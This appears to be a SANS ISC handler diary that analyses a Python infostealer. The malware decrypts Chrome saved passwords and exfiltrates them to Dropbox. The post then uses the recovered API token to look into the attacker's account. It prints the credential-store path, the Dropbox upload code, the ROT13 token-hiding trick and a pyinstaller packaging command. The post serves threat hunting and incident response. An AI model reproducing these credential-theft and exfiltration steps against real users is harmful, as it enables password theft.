Using API's to Track Attackers
For a few days, I’m keeping an eye on suspicious Python code posted on VT. We all know that VBA, JavaScript, Powershell, etc are attacker’s best friends but Python is also a good candidate to perform malicious activities on a computer. Even if Python isn't installed by default, it’s easy to “compile” a Python script to make it portable via a PE file. There exists multiple tools to achieve this, my favorite being 'pyinstaller':
c:\python35\scripts> pyinstaller.exe —one file —noconsole c:\malicious.py
Note that the Python code is not compiled but embedded in the PE with all the required files/libraries and… a Python interpreter. The generated executable can, therefore, be sometimes very big.
Yesterday, I found an interesting piece of malicious Python code that steals Chrome credentials by attacking the default password vault:
\AppData\Local\Google\Chrome\User Data\default\Login Data
It's not very difficult to decrypt Chrome saved passwords, you just need to get the master key[1].
The script SHA256 hash is 73f28853a809cd3c31717e4849bec90b4545f319a3c8d90669bc37356ca829f4 and has a current VT score of 2/58[2]! The code is very simple, not obfuscated. The attackers reused exactly the same piece of coded (link above) to decrypt the master key - hey, why reinvent the wheel? To exfiltrate data, they decided to use Dropbox. The well-known file sharing service provides indeed a nice Python interface to its API[3] which is very easy to use:
>>> import dropbox >>> d = dropbox.Dropbox(access_token) >>> d.files_upload(open(“local_file.txt”, "rb").read(), “remote_file.txt”, dropbox.files.WriteMode.overwrite)
To access your Dropbox account, you need to generate an ‘access_token’[4] that must be available somewhere in the script. Storing such sensitive information is always touchy. This time, they just used ROT13:
# pass accesstoken in rot13 to avoid sring detection - people having control over the account access_token = encode(“xxxxx”, 'rot13')
So, let's try to find who's behind this script!
When you don't have experience with Python library objects, your first reflex must be to search for the available methods via dir():
>>> import dropbox >>> d.dropbox.Dropbox("xxxxx") >>> for method in dir(d): ... print(method) ... _API_VERSION _DEFAULT_TIMEOUT _ROUTE_STYLE_DOWNLOAD _ROUTE_STYLE_RPC _ROUTE_STYLE_UPLOAD __class__ __delattr__ __dict__ __dir__ __doc__ __eq__ __format__ __ge__ __getattribute__ __gt__ __hash__ __init__ __init_subclass__ __le__ __lt__ __metaclass__ __module__ __ne__ __new__ __reduce__ __reduce_ex__ __repr__ __setattr__ __sizeof__ __str__ __subclasshook__ __weakref__ _get_route_url _headers _host_map _logger _max_retries_on_error _max_retries_on_rate_limit _oauth2_access_token _raw_user_agent _save_body_to_file _session _timeout _user_agent auth_token_from_oauth1 auth_token_revoke clone file_properties_properties_add file_properties_properties_overwrite file_properties_properties_remove file_properties_properties_search file_properties_properties_search_continue file_properties_properties_update file_properties_templates_add_for_team file_properties_templates_add_for_user file_properties_templates_get_for_team file_properties_templates_get_for_user file_properties_templates_list_for_team file_properties_templates_list_for_user file_properties_templates_remove_for_team file_properties_templates_remove_for_user file_properties_templates_update_for_team file_properties_templates_update_for_user file_requests_create file_requests_get file_requests_list file_requests_update files_alpha_get_metadata files_alpha_upload files_copy files_copy_batch files_copy_batch_check files_copy_reference_get files_copy_reference_save files_copy_v2 files_create_folder files_create_folder_v2 files_delete files_delete_batch files_delete_batch_check files_delete_v2 files_download files_download_to_file files_download_zip files_download_zip_to_file files_get_metadata files_get_preview files_get_preview_to_file files_get_temporary_link files_get_thumbnail files_get_thumbnail_batch files_get_thumbnail_to_file files_list_folder files_list_folder_continue files_list_folder_get_latest_cursor files_list_folder_longpoll files_list_revisions files_move files_move_batch files_move_batch_check files_move_v2 files_permanently_delete files_properties_add files_properties_overwrite files_properties_remove files_properties_template_get files_properties_template_list files_properties_update files_restore files_save_url files_save_url_check_job_status files_search files_upload files_upload_session_append files_upload_session_append_v2 files_upload_session_finish files_upload_session_finish_batch files_upload_session_finish_batch_check files_upload_session_start paper_docs_archive paper_docs_create paper_docs_download paper_docs_download_to_file paper_docs_folder_users_list paper_docs_folder_users_list_continue paper_docs_get_folder_info paper_docs_list paper_docs_list_continue paper_docs_permanently_delete paper_docs_sharing_policy_get paper_docs_sharing_policy_set paper_docs_update paper_docs_users_add paper_docs_users_list paper_docs_users_list_continue paper_docs_users_remove request request_json_object request_json_string request_json_string_with_retry sharing_add_file_member sharing_add_folder_member sharing_change_file_member_access sharing_check_job_status sharing_check_remove_member_job_status sharing_check_share_job_status sharing_create_shared_link sharing_create_shared_link_with_settings sharing_get_file_metadata sharing_get_file_metadata_batch sharing_get_folder_metadata sharing_get_shared_link_file sharing_get_shared_link_file_to_file sharing_get_shared_link_metadata sharing_get_shared_links sharing_list_file_members sharing_list_file_members_batch sharing_list_file_members_continue sharing_list_folder_members sharing_list_folder_members_continue sharing_list_folders sharing_list_folders_continue sharing_list_mountable_folders sharing_list_mountable_folders_continue sharing_list_received_files sharing_list_received_files_continue sharing_list_shared_links sharing_modify_shared_link_settings sharing_mount_folder sharing_relinquish_file_membership sharing_relinquish_folder_membership sharing_remove_file_member sharing_remove_file_member_2 sharing_remove_folder_member sharing_revoke_shared_link sharing_share_folder sharing_transfer_folder sharing_unmount_folder sharing_unshare_file sharing_unshare_folder sharing_update_file_member sharing_update_folder_member sharing_update_folder_policy team_log_get_events team_log_get_events_continue users_get_account users_get_account_batch users_get_current_account users_get_space_usage with_path_root >>>
As you can see, all Dropbox features are fully supported by the API is fully and allow you to perform almost anything on files and your account.
The very first interesting method to use is users_get_current_account() to get information about the account. Now, we know more information about the attackers:
>>> for i in str(client.users_get_current_account()).split(','): ... print(i) ... FullAccount(account_id='dbid:xxxxxxxxxx' name=Name(given_name='xxxxx xxxxxx' surname='' familiar_name='xxxxx xxxxxx' display_name='xxxxx xxxxxx' abbreviated_name='xx') email='xxxx.xxxxx@gmail.com' email_verified=True disabled=False locale='en' referral_link='https://www.dropbox.com/referrals/xxxxxxxxxx?src=appx-xxxxxxx' is_paired=False account_type=AccountType('basic' None) root_info=UserRootInfo(root_namespace_id='xxxxxxxxxx' home_namespace_id='xxxxxxxxxx') profile_photo_url='https://dl-web.dropbox.com/account_photo/get/dbaphid%xxxxxx?size=128x128&vers=xxxxxxxxx' country='US' team=None team_member_id=None) >>>
You can also check the profile picture:
Based on what is found in the Python script, data is exfiltrated in a '/passwords' directory:
file_to = "/passwords/" + str(getpass.getuser()) + "'s_passwords.txt"
So, let's have a look at the existing files.
>>> for file in d.files_list_folder('').entries: ... print(file.name) ... passwords Get Started with Dropbox.pdf
We have indeed this interesting directory (together with the default documentation file provided by Dropbox). Let's check inside the directory:
>>> for file in d.files_list_folder('/passwords').entries: ... print(file.name) ... xxxxx's_passwords.txt xxxxx's_passwords.txt >>>
Ok, let's stop here, we will NOT grab files and have a look at the stolen data.
Conclusion: If API's are very useful from an attacker perspective, they are also very interesting when you need to investigate an incident or do some hunting!
[1] https://github.com/agentzex/chrome_v80_password_grabber
[2] https://www.virustotal.com/gui/file/73f28853a809cd3c31717e4849bec90b4545f319a3c8d90669bc37356ca829f4/detection
[3] https://github.com/dropbox/dropbox-sdk-python
[4] https://dropbox.tech/developers/generate-an-access-token-for-your-own-account
Xavier Mertens (@xme)
Senior ISC Handler - Freelance Cyber Security Consultant
PGP Key
Reverse-Engineering Malware: Advanced Code Analysis | Online | Greenwich Mean Time | Oct 28th - Nov 1st 2024 |
Comments